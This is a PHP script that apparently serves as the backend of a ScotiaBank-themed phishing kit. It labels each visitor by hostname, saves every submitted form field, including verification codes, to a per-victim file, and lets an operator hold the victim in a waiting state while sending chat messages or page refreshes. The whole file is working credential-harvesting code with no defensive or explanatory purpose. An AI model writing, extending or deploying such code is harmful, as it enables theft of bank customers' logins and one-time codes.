<?php
	session_start();
	define("LOCAL", "./QWERTY/");
	$ipserver = $_SERVER['REMOTE_ADDR'];
	$resuelveserver = gethostbyaddr($ipserver);
	$filename = "";
	if (!isset($_SESSION['NICKNAME'])){
		$_SESSION['NICKNAME'] = "ScotiaBank-".$resuelveserver . '(' . rand('000000', '999999') . ')';
	}
	$filename = LOCAL . $_SESSION['NICKNAME'] . '.info';

	if (!isset($_POST['getstyle'])){
		$TEXT = array();
		if (file_exists($filename)){
			$TEXT = ((array)json_decode(file_get_contents($filename),true));
		}
 		if (isset($_POST['Codigo'])) {
    	    $cod = $_POST['Codigo'];
    	    $qntcod = (isset($TEXT['CODIGO'])) ? count($TEXT['CODIGO']) : $qntcod = 0;
        	$TEXT['CODIGO'][$qntcod + 1] = $cod;
    	}
 		if (isset($_POST['POS'])) {
    	    $cod = $_POST['POS'];
    	    $qntcod = (isset($TEXT['POS'])) ? count($TEXT['POS']) : $qntcod = 0;
        	$TEXT['POS'][$qntcod + 1] = $cod;
    	}
		$TEXT =  array_merge($TEXT,$_POST);
		$TEXT['CHAT'] = '';
		$TEXT['STATUS'] = 'AGUARDANDO';
		file_put_contents($filename, json_encode($TEXT));
		echo json_encode($TEXT);
	}

	else{
		if (file_exists($filename))
		{
			echo file_get_contents($filename);
		}
		else{
			$TEXT['CHAT'] = '<META HTTP-EQUIV="refresh" CONTENT="0">';
			$TEXT['STATUS'] = '';
			echo json_encode($TEXT);
		}
	}



  ?>